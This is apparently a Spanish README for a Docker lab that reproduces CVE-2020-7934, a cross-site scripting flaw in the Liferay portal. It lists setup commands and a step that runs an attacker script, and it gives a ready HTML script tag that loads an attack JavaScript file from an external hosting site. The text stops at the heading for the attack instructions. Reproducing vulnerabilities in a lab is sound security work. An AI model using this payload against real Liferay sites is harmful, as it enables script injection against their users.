CVE 2020-7934

Cómo ejecutar el CVE

Requisitos

1. docker

Notas

es posible poner el script de ataque en línea (con el código js) http://yourjavascript.com/ Nuestro script JS en línea para el ataque html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

Comandos de configuración

1. ve a la carpeta raíz de este proyecto
2. ejecuta "sudo docker-compose up --build"
3. nueva terminal: ejecuta "docker inspect liferay" ==> y copia el valor de IPAddress
4. nueva terminal: ejecuta "python api_attacker.py"
5. abre un navegador y ve a "http://IPAddress:8080" ==> deberías obtener el portal de liferay como respuesta
6. para detener y eliminar los contenedores usa "sudo docker-compose rm"

Instrucciones para el ataque